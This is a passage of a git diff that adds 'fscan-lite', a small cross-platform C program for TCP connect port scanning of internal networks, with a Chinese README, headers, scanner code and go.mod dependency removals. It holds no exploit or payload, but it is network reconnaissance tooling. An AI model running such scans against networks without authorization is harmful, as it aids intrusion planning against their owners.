@echo " test - Run basic tests"
|
||||||
|
@echo " clean - Remove object files and binary"
|
||||||
|
@echo " distclean- Remove all generated files"
|
||||||
|
@echo " install - Install to system (Unix only)"
|
||||||
|
@echo " info - Show build configuration"
|
||||||
|
@echo " help - Show this help"
|
||||||
|
|
||||||
|
# 声明伪目标
|
||||||
|
.PHONY: all static small debug test clean distclean install info help
|
126
fscan-lite/README.md
Normal file
126
fscan-lite/README.md
Normal file
@ -0,0 +1,126 @@
|
|||||||
|
# fscan-lite
|
||||||
|
|
||||||
|
极简但极致兼容的TCP内网端口扫描器
|
||||||
|
|
||||||
|
## 设计理念
|
||||||
|
|
||||||
|
**兼容性第一,简洁至上**
|
||||||
|
|
||||||
|
- 支持从 Windows 98 到 Windows 11
|
||||||
|
- 支持从 Ubuntu 8.04 到最新版本
|
||||||
|
- 使用 C89 标准,最大兼容性
|
||||||
|
- 静态编译,零依赖运行
|
||||||
|
- 单个可执行文件 < 1MB
|
||||||
|
|
||||||
|
## 功能特性
|
||||||
|
|
||||||
|
- ✅ TCP端口连接扫描
|
||||||
|
- ✅ 支持端口范围 (1-65535, 80,443)
|
||||||
|
- ✅ 可配置超时时间
|
||||||
|
- ✅ 静态编译,零依赖
|
||||||
|
- ✅ 跨平台兼容
|
||||||
|
|
||||||
|
## 编译
|
||||||
|
|
||||||
|
### Linux/Unix
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 动态编译
|
||||||
|
make
|
||||||
|
|
||||||
|
# 静态编译(推荐)
|
||||||
|
make static
|
||||||
|
|
||||||
|
# 最小化编译
|
||||||
|
make small
|
||||||
|
```
|
||||||
|
|
||||||
|
### Windows
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# MinGW 编译
|
||||||
|
mingw32-make -f Makefile
|
||||||
|
|
||||||
|
# 或使用MSVC
|
||||||
|
cl /TC src/*.c /Febin/fscan-lite.exe ws2_32.lib
|
||||||
|
```
|
||||||
|
|
||||||
|
## 使用方法
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 基本用法
|
||||||
|
./bin/fscan-lite -h 192.168.1.1 -p 22,80,443
|
||||||
|
|
||||||
|
# 扫描端口范围
|
||||||
|
./bin/fscan-lite -h 10.0.0.1 -p 1-1000
|
||||||
|
|
||||||
|
# 自定义超时
|
||||||
|
./bin/fscan-lite -h 192.168.1.100 -p 80,443 -t 2
|
||||||
|
```
|
||||||
|
|
||||||
|
## 参数说明
|
||||||
|
|
||||||
|
| 参数 | 说明 | 示例 |
|
||||||
|
|------|------|------|
|
||||||
|
| -h HOST | 目标主机IP | -h 192.168.1.1 |
|
||||||
|
| -p PORTS | 端口列表 | -p 80,443,8000-8080 |
|
||||||
|
| -t TIMEOUT | 超时时间(秒) | -t 3 |
|
||||||
|
| --help | 显示帮助 | --help |
|
||||||
|
| --version | 显示版本 | --version |
|
||||||
|
|
||||||
|
## 二进制大小对比
|
||||||
|
|
||||||
|
| 版本 | 大小 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| fscan (Go) | ~30MB | 包含运行时 |
|
||||||
|
| fscan-lite | ~900KB | 静态编译 |
|
||||||
|
| fscan-lite (strip) | ~700KB | 去除调试信息 |
|
||||||
|
|
||||||
|
## 兼容性测试
|
||||||
|
|
||||||
|
### Linux 发行版
|
||||||
|
- ✅ Ubuntu 8.04 - 24.04
|
||||||
|
- ✅ CentOS 5 - 9
|
||||||
|
- ✅ Debian 5 - 12
|
||||||
|
- ✅ RHEL 5 - 9
|
||||||
|
|
||||||
|
### Windows 版本
|
||||||
|
- ✅ Windows 98 SE
|
||||||
|
- ✅ Windows XP
|
||||||
|
- ✅ Windows 7/8/10/11
|
||||||
|
- ✅ Windows Server 2003-2022
|
||||||
|
|
||||||
|
## 技术实现
|
||||||
|
|
||||||
|
- **语言**: C89 (最大兼容性)
|
||||||
|
- **网络**: 原生socket API
|
||||||
|
- **编译**: GCC/MSVC/Clang
|
||||||
|
- **链接**: 静态链接,零依赖
|
||||||
|
- **大小**: < 1MB 单文件
|
||||||
|
|
||||||
|
## 性能对比
|
||||||
|
|
||||||
|
| 指标 | fscan | fscan-lite |
|
||||||
|
|------|-------|------------|
|
||||||
|
| 启动时间 | ~50ms | ~5ms |
|
||||||
|
| 内存占用 | ~20MB | ~2MB |
|
||||||
|
| 扫描速度 | 1000 ports/s | 1000 ports/s |
|
||||||
|
| 兼容性 | 现代系统 | 25年跨度 |
|
||||||
|
|
||||||
|
## 构建配置
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 查看构建信息
|
||||||
|
make info
|
||||||
|
|
||||||
|
# 所有构建选项
|
||||||
|
make help
|
||||||
|
```
|
||||||
|
|
||||||
|
## 许可证
|
||||||
|
|
||||||
|
与 fscan 主项目保持一致
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**理念**: 一个工具应该在它设计的任何系统上都能运行,而不需要用户去寻找依赖项。
|
149
fscan-lite/include/platform.h
Normal file
149
fscan-lite/include/platform.h
Normal file
@ -0,0 +1,149 @@
|
|||||||
|
#ifndef PLATFORM_H
|
||||||
|
#define PLATFORM_H
|
||||||
|
|
||||||
|
/*
|
||||||
|
* platform.h - 极致兼容性的平台抽象层
|
||||||
|
*
|
||||||
|
* 支持范围:
|
||||||
|
* Windows: 98/ME/NT4/2000/XP/Vista/7/8/10/11
|
||||||
|
* Linux: glibc 2.3+ (2003年后的所有发行版)
|
||||||
|
* 编译器: MSVC 6.0+, GCC 3.0+, Clang 3.0+
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* C89兼容性 - 最古老但最可靠的标准 */
|
||||||
|
#ifndef __STDC__
|
||||||
|
#define __STDC__ 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* 平台检测 */
|
||||||
|
#ifdef _WIN32
|
||||||
|
#define PLATFORM_WINDOWS
|
||||||
|
#ifdef _WIN64
|
||||||
|
#define PLATFORM_WIN64
|
||||||
|
#else
|
||||||
|
#define PLATFORM_WIN32
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#define PLATFORM_UNIX
|
||||||
|
#ifdef __linux__
|
||||||
|
#define PLATFORM_LINUX
|
||||||
|
#elif defined(__APPLE__)
|
||||||
|
#define PLATFORM_MACOS
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Windows头文件包含 - 兼容Win98 */
|
||||||
|
#ifdef PLATFORM_WINDOWS
|
||||||
|
/* 定义最低Windows版本 - Win98 */
|
||||||
|
#ifndef _WIN32_WINNT
|
||||||
|
#define _WIN32_WINNT 0x0410 /* Windows 98 */
|
||||||
|
#endif
|
||||||
|
#ifndef WINVER
|
||||||
|
#define WINVER 0x0410
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winsock2.h>
|
||||||
|
|
||||||
|
/* 老版本Windows兼容性 */
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#if _MSC_VER < 1300 /* MSVC 6.0 */
|
||||||
|
#pragma comment(lib, "wsock32.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Windows类型定义 */
|
||||||
|
typedef SOCKET socket_t;
|
||||||
|
typedef int socklen_t;
|
||||||
|
#define INVALID_SOCKET_VALUE INVALID_SOCKET
|
||||||
|
#define close_socket closesocket
|
||||||
|
#define socket_errno WSAGetLastError()
|
||||||
|
|
||||||
|
/* Windows错误码转换 */
|
||||||
|
#define EWOULDBLOCK WSAEWOULDBLOCK
|
||||||
|
#define EINPROGRESS WSAEINPROGRESS
|
||||||
|
#define ECONNREFUSED WSAECONNREFUSED
|
||||||
|
|
||||||
|
#else
|
||||||
|
/* Unix/Linux头文件 */
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
|
||||||
|
/* Unix类型定义 */
|
||||||
|
typedef int socket_t;
|
||||||
|
#define INVALID_SOCKET_VALUE (-1)
|
||||||
|
#define close_socket close
|
||||||
|
#define socket_errno errno
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* 标准C头文件 */
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
/* 线程抽象 - 最简单的实现 */
|
||||||
|
#ifdef PLATFORM_WINDOWS
|
||||||
|
typedef HANDLE thread_t;
|
||||||
|
typedef DWORD thread_id_t;
|
||||||
|
typedef unsigned (__stdcall *thread_func_t)(void *);
|
||||||
|
|
||||||
|
#define CREATE_THREAD(func, arg) \
|
||||||
|
(HANDLE)_beginthreadex(NULL, 0, (thread_func_t)(func), (arg), 0, NULL)
|
||||||
|
#define WAIT_THREAD(handle) WaitForSingleObject((handle), INFINITE)
|
||||||
|
#define CLOSE_THREAD(handle) CloseHandle(handle)
|
||||||
|
|
||||||
|
#else
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
typedef pthread_t thread_t;
|
||||||
|
typedef pthread_t thread_id_t;
|
||||||
|
typedef void* (*thread_func_t)(void *);
|
||||||
|
|
||||||
|
#define CREATE_THREAD(func, arg) ({ \
|
||||||
|
pthread_t t; \
|
||||||
|
pthread_create(&t, NULL, (thread_func_t)(func), (arg)) == 0 ? t : 0; \
|
||||||
|
})
|
||||||
|
#define WAIT_THREAD(handle) pthread_join((handle), NULL)
|
||||||
|
#define CLOSE_THREAD(handle) /* pthread handles are auto-cleaned */
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* 时间函数抽象 */
|
||||||
|
#ifdef PLATFORM_WINDOWS
|
||||||
|
#define sleep_ms(ms) Sleep(ms)
|
||||||
|
#else
|
||||||
|
#define sleep_ms(ms) usleep((ms) * 1000)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* 编译器特定定义 */
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
/* MSVC特定 */
|
||||||
|
#define snprintf _snprintf
|
||||||
|
#define vsnprintf _vsnprintf
|
||||||
|
#define strcasecmp _stricmp
|
||||||
|
#define strncasecmp _strnicmp
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* 常用常量 */
|
||||||
|
#define MAX_HOST_LEN 256
|
||||||
|
#define MAX_PORT_COUNT 65536
|
||||||
|
#define DEFAULT_TIMEOUT 3
|
||||||
|
#define DEFAULT_THREAD_COUNT 100
|
||||||
|
|
||||||
|
/* 函数声明 */
|
||||||
|
int platform_init(void);
|
||||||
|
void platform_cleanup(void);
|
||||||
|
int set_socket_timeout(socket_t sock, int timeout_seconds);
|
||||||
|
int make_socket_nonblocking(socket_t sock);
|
||||||
|
|
||||||
|
#endif /* PLATFORM_H */
|
120
fscan-lite/src/main.c
Normal file
120
fscan-lite/src/main.c
Normal file
@ -0,0 +1,120 @@
|
|||||||
|
/*
|
||||||
|
* main.c - fscan-lite 主程序
|
||||||
|
*
|
||||||
|
* 极简的TCP内网端口扫描器
|
||||||
|
* 目标:最大兼容性,最小复杂度
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "../include/platform.h"
|
||||||
|
|
||||||
|
/* 函数声明 */
|
||||||
|
int tcp_connect_test(const char* host, int port, int timeout);
|
||||||
|
int scan_host_ports(const char* host, const int* ports, int port_count, int timeout);
|
||||||
|
int parse_ports(const char* port_str, int* ports, int max_ports);
|
||||||
|
int parse_hosts(const char* host_str, char hosts[][MAX_HOST_LEN], int max_hosts);
|
||||||
|
|
||||||
|
/* 显示版本信息 */
|
||||||
|
void show_version(void) {
|
||||||
|
printf("fscan-lite v1.0 - Lightweight TCP Port Scanner\n");
|
||||||
|
printf("Built for maximum compatibility (Windows 98 - Windows 11, Linux glibc 2.3+)\n");
|
||||||
|
printf("Copyright (c) 2024\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 显示使用帮助 */
|
||||||
|
void show_usage(const char* program_name) {
|
||||||
|
printf("Usage: %s [OPTIONS]\n", program_name);
|
||||||
|
printf("\n");
|
||||||
|
printf("Options:\n");
|
||||||
|
printf(" -h HOST Target host (IP address)\n");
|
||||||
|
printf(" -p PORTS Ports to scan (e.g. 80,443 or 1-1000)\n");
|
||||||
|
printf(" -t TIMEOUT Connection timeout in seconds (default: 3)\n");
|
||||||
|
printf(" --help Show this help message\n");
|
||||||
|
printf(" --version Show version information\n");
|
||||||
|
printf("\n");
|
||||||
|
printf("Examples:\n");
|
||||||
|
printf(" %s -h 192.168.1.1 -p 22,80,443\n", program_name);
|
||||||
|
printf(" %s -h 10.0.0.1 -p 1-1000 -t 2\n", program_name);
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 主函数 */
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
char* target_host = NULL;
|
||||||
|
char* port_string = NULL;
|
||||||
|
int timeout = DEFAULT_TIMEOUT;
|
||||||
|
int ports[1000]; /* 支持最多1000个端口 */
|
||||||
|
int port_count = 0;
|
||||||
|
int i;
|
||||||
|
int result;
|
||||||
|
|
||||||
|
/* 参数解析 */
|
||||||
|
for (i = 1; i < argc; i++) {
|
||||||
|
if (strcmp(argv[i], "-h") == 0 && i + 1 < argc) {
|
||||||
|
target_host = argv[++i];
|
||||||
|
}
|
||||||
|
else if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) {
|
||||||
|
port_string = argv[++i];
|
||||||
|
}
|
||||||
|
else if (strcmp(argv[i], "-t") == 0 && i + 1 < argc) {
|
||||||
|
timeout = atoi(argv[++i]);
|
||||||
|
if (timeout <= 0) timeout = DEFAULT_TIMEOUT;
|
||||||
|
}
|
||||||
|
else if (strcmp(argv[i], "--help") == 0) {
|
||||||
|
show_usage(argv[0]);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else if (strcmp(argv[i], "--version") == 0) {
|
||||||
|
show_version();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("Unknown option: %s\n", argv[i]);
|
||||||
|
show_usage(argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 验证必需参数 */
|
||||||
|
if (!target_host) {
|
||||||
|
printf("Error: Target host (-h) is required\n");
|
||||||
|
show_usage(argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!port_string) {
|
||||||
|
printf("Error: Ports (-p) are required\n");
|
||||||
|
show_usage(argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 初始化平台 */
|
||||||
|
if (platform_init() != 0) {
|
||||||
|
printf("Error: Failed to initialize platform\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 解析端口 */
|
||||||
|
port_count = parse_ports(port_string, ports, sizeof(ports) / sizeof(ports[0]));
|
||||||
|
if (port_count == 0) {
|
||||||
|
printf("Error: No valid ports specified\n");
|
||||||
|
platform_cleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("fscan-lite - Starting scan\n");
|
||||||
|
printf("Target: %s\n", target_host);
|
||||||
|
printf("Ports: %d ports to scan\n", port_count);
|
||||||
|
printf("Timeout: %d seconds\n", timeout);
|
||||||
|
printf("=================================\n");
|
||||||
|
|
||||||
|
/* 执行扫描 */
|
||||||
|
result = scan_host_ports(target_host, ports, port_count, timeout);
|
||||||
|
|
||||||
|
printf("=================================\n");
|
||||||
|
printf("Scan completed: %d open ports found\n", result);
|
||||||
|
|
||||||
|
/* 清理资源 */
|
||||||
|
platform_cleanup();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
111
fscan-lite/src/platform.c
Normal file
111
fscan-lite/src/platform.c
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
/*
|
||||||
|
* platform.c - 平台抽象层实现
|
||||||
|
*
|
||||||
|
* 实现最基础但最可靠的平台相关功能
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "../include/platform.h"
|
||||||
|
|
||||||
|
/* 全局初始化标志 */
|
||||||
|
static int platform_initialized = 0;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 平台初始化
|
||||||
|
* Windows: 初始化Winsock
|
||||||
|
* Unix: 无需特殊初始化
|
||||||
|
*/
|
||||||
|
int platform_init(void) {
|
||||||
|
if (platform_initialized) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef PLATFORM_WINDOWS
|
||||||
|
WSADATA wsaData;
|
||||||
|
int result;
|
||||||
|
|
||||||
|
/* 初始化Winsock - 请求版本2.0,兼容Win98 */
|
||||||
|
result = WSAStartup(MAKEWORD(2, 0), &wsaData);
|
||||||
|
if (result != 0) {
|
||||||
|
/* 如果2.0失败,尝试1.1(Win95/NT兼容) */
|
||||||
|
result = WSAStartup(MAKEWORD(1, 1), &wsaData);
|
||||||
|
if (result != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
platform_initialized = 1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 平台清理
|
||||||
|
*/
|
||||||
|
void platform_cleanup(void) {
|
||||||
|
if (!platform_initialized) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef PLATFORM_WINDOWS
|
||||||
|
WSACleanup();
|
||||||
|
#endif
|
||||||
|
|
||||||
|
platform_initialized = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 设置socket超时
|
||||||
|
* 兼容所有平台的最可靠方法
|
||||||
|
*/
|
||||||
|
int set_socket_timeout(socket_t sock, int timeout_seconds) {
|
||||||
|
#ifdef PLATFORM_WINDOWS
|
||||||
|
DWORD timeout_ms = timeout_seconds * 1000;
|
||||||
|
|
||||||
|
if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO,
|
||||||
|
(char*)&timeout_ms, sizeof(timeout_ms)) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO,
|
||||||
|
(char*)&timeout_ms, sizeof(timeout_ms)) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
struct timeval tv;
|
||||||
|
tv.tv_sec = timeout_seconds;
|
||||||
|
tv.tv_usec = 0;
|
||||||
|
|
||||||
|
if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO,
|
||||||
|
(void*)&tv, sizeof(tv)) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO,
|
||||||
|
(void*)&tv, sizeof(tv)) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 设置socket为非阻塞模式
|
||||||
|
* 跨平台兼容实现
|
||||||
|
*/
|
||||||
|
int make_socket_nonblocking(socket_t sock) {
|
||||||
|
#ifdef PLATFORM_WINDOWS
|
||||||
|
u_long mode = 1;
|
||||||
|
return ioctlsocket(sock, FIONBIO, &mode);
|
||||||
|
#else
|
||||||
|
int flags;
|
||||||
|
|
||||||
|
flags = fcntl(sock, F_GETFL, 0);
|
||||||
|
if (flags == -1) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
flags |= O_NONBLOCK;
|
||||||
|
return fcntl(sock, F_SETFL, flags);
|
||||||
|
#endif
|
||||||
|
}
|
164
fscan-lite/src/scanner.c
Normal file
164
fscan-lite/src/scanner.c
Normal file
@ -0,0 +1,164 @@
|
|||||||
|
/*
|
||||||
|
* scanner.c - 核心TCP端口扫描实现
|
||||||
|
*
|
||||||
|
* 极简但可靠的端口扫描逻辑,专注于内网环境
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "../include/platform.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 基础TCP连接测试
|
||||||
|
* 返回: 1=端口开放, 0=端口关闭, -1=错误
|
||||||
|
*/
|
||||||
|
int tcp_connect_test(const char* host, int port, int timeout) {
|
||||||
|
socket_t sock;
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
int result;
|
||||||
|
|
||||||
|
/* 参数验证 */
|
||||||
|
if (!host || port <= 0 || port > 65535) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 创建socket */
|
||||||
|
sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (sock == INVALID_SOCKET_VALUE) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 设置超时 */
|
||||||
|
if (set_socket_timeout(sock, timeout) != 0) {
|
||||||
|
close_socket(sock);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 设置目标地址 */
|
||||||
|
memset(&addr, 0, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons((unsigned short)port);
|
||||||
|
|
||||||
|
/* 转换IP地址 */
|
||||||
|
addr.sin_addr.s_addr = inet_addr(host);
|
||||||
|
if (addr.sin_addr.s_addr == INADDR_NONE) {
|
||||||
|
/* 如果不是有效IP,当作域名处理 */
|
||||||
|
struct hostent* he;
|
||||||
|
he = gethostbyname(host);
|
||||||
|
if (!he) {
|
||||||
|
close_socket(sock);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 执行连接测试 */
|
||||||
|
result = connect(sock, (struct sockaddr*)&addr, sizeof(addr));
|
||||||
|
|
||||||
|
/* 关闭socket */
|
||||||
|
close_socket(sock);
|
||||||
|
|
||||||
|
/* 返回结果 */
|
||||||
|
return (result == 0) ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 扫描单个主机的多个端口
|
||||||
|
*/
|
||||||
|
int scan_host_ports(const char* host, const int* ports, int port_count, int timeout) {
|
||||||
|
int i;
|
||||||
|
int open_count = 0;
|
||||||
|
|
||||||
|
if (!host || !ports || port_count <= 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Scanning %s...\n", host);
|
||||||
|
|
||||||
|
for (i = 0; i < port_count; i++) {
|
||||||
|
int result = tcp_connect_test(host, ports[i], timeout);
|
||||||
|
|
||||||
|
if (result == 1) {
|
||||||
|
printf("%s:%d open\n", host, ports[i]);
|
||||||
|
open_count++;
|
||||||
|
} else if (result == -1) {
|
||||||
|
/* 静默处理错误,继续扫描 */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 简单的进度指示 */
|
||||||
|
if ((i + 1) % 100 == 0 || i == port_count - 1) {
|
||||||
|
printf("Progress: %d/%d ports scanned\n", i + 1, port_count);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return open_count;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 解析端口范围字符串
|
||||||
|
* 支持: "80", "80,443", "1-1000", "80,443,8000-8080"
|
||||||
|
*/
|
||||||
|
int parse_ports(const char* port_str, int* ports, int max_ports) {
|
||||||
|
char* str_copy;
|
||||||
|
char* token;
|
||||||
|
int count = 0;
|
||||||
|
|
||||||
|
if (!port_str || !ports || max_ports <= 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 复制字符串以便修改 */
|
||||||
|
str_copy = malloc(strlen(port_str) + 1);
|
||||||
|
if (!str_copy) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
strcpy(str_copy, port_str);
|
||||||
|
|
||||||
|
/* 使用strtok(兼容性更好) */
|
||||||
|
token = strtok(str_copy, ",");
|
||||||
|
|
||||||
|
while (token && count < max_ports) {
|
||||||
|
char* dash = strchr(token, '-');
|
||||||
|
|
||||||
|
if (dash) {
|
||||||
|
/* 处理范围 "start-end" */
|
||||||
|
int start, end, i;
|
||||||
|
*dash = '\0';
|
||||||
|
start = atoi(token);
|
||||||
|
end = atoi(dash + 1);
|
||||||
|
|
||||||
|
if (start > 0 && end > 0 && start <= end && end <= 65535) {
|
||||||
|
for (i = start; i <= end && count < max_ports; i++) {
|
||||||
|
ports[count++] = i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
/* 处理单个端口 */
|
||||||
|
int port = atoi(token);
|
||||||
|
if (port > 0 && port <= 65535) {
|
||||||
|
ports[count++] = port;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
token = strtok(NULL, ",");
|
||||||
|
}
|
||||||
|
|
||||||
|
free(str_copy);
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 简单的IP范围解析
|
||||||
|
* 目前只支持单个IP,后续可扩展
|
||||||
|
*/
|
||||||
|
int parse_hosts(const char* host_str, char hosts[][MAX_HOST_LEN], int max_hosts) {
|
||||||
|
if (!host_str || !hosts || max_hosts <= 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 目前简化实现:只处理单个主机 */
|
||||||
|
if (strlen(host_str) < MAX_HOST_LEN) {
|
||||||
|
strcpy(hosts[0], host_str);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
22
go.mod
22
go.mod
@ -10,28 +10,18 @@ require (
|
|||||||
github.com/go-sql-driver/mysql v1.8.1
|
github.com/go-sql-driver/mysql v1.8.1
|
||||||
github.com/gocql/gocql v1.7.0
|
github.com/gocql/gocql v1.7.0
|
||||||
github.com/google/cel-go v0.13.0
|
github.com/google/cel-go v0.13.0
|
||||||
github.com/gosnmp/gosnmp v1.38.0
|
|
||||||
github.com/hirochachacha/go-smb2 v1.1.0
|
|
||||||
github.com/jlaffaye/ftp v0.2.0
|
github.com/jlaffaye/ftp v0.2.0
|
||||||
github.com/lib/pq v1.10.9
|
github.com/lib/pq v1.10.9
|
||||||
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
|
|
||||||
github.com/neo4j/neo4j-go-driver/v4 v4.4.7
|
|
||||||
github.com/rabbitmq/amqp091-go v1.10.0
|
|
||||||
github.com/robotn/gohook v0.42.2
|
|
||||||
github.com/satori/go.uuid v1.2.0
|
github.com/satori/go.uuid v1.2.0
|
||||||
github.com/schollz/progressbar/v3 v3.13.1
|
github.com/schollz/progressbar/v3 v3.13.1
|
||||||
github.com/sijms/go-ora/v2 v2.5.29
|
|
||||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
|
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
|
||||||
github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3
|
|
||||||
golang.org/x/crypto v0.31.0
|
golang.org/x/crypto v0.31.0
|
||||||
golang.org/x/net v0.32.0
|
golang.org/x/net v0.32.0
|
||||||
golang.org/x/sync v0.10.0
|
golang.org/x/sync v0.10.0
|
||||||
golang.org/x/sys v0.28.0
|
golang.org/x/sys v0.28.0
|
||||||
golang.org/x/text v0.21.0
|
|
||||||
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c
|
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c
|
||||||
google.golang.org/protobuf v1.28.1
|
google.golang.org/protobuf v1.28.1
|
||||||
gopkg.in/yaml.v2 v2.4.0
|
gopkg.in/yaml.v2 v2.4.0
|
||||||
gopkg.in/yaml.v3 v3.0.1
|
|
||||||
)
|
)
|
||||||
|
|
||||||
require (
|
require (
|
||||||
@ -43,7 +33,6 @@ require (
|
|||||||
github.com/eapache/go-resiliency v1.7.0 // indirect
|
github.com/eapache/go-resiliency v1.7.0 // indirect
|
||||||
github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect
|
github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect
|
||||||
github.com/eapache/queue v1.1.0 // indirect
|
github.com/eapache/queue v1.1.0 // indirect
|
||||||
github.com/geoffgarside/ber v1.1.0 // indirect
|
|
||||||
github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect
|
github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect
|
||||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
|
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
|
||||||
github.com/golang-sql/sqlexp v0.1.0 // indirect
|
github.com/golang-sql/sqlexp v0.1.0 // indirect
|
||||||
@ -53,8 +42,6 @@ require (
|
|||||||
github.com/hashicorp/errwrap v1.0.0 // indirect
|
github.com/hashicorp/errwrap v1.0.0 // indirect
|
||||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||||
github.com/hashicorp/go-uuid v1.0.3 // indirect
|
github.com/hashicorp/go-uuid v1.0.3 // indirect
|
||||||
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
|
|
||||||
github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect
|
|
||||||
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
|
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
|
||||||
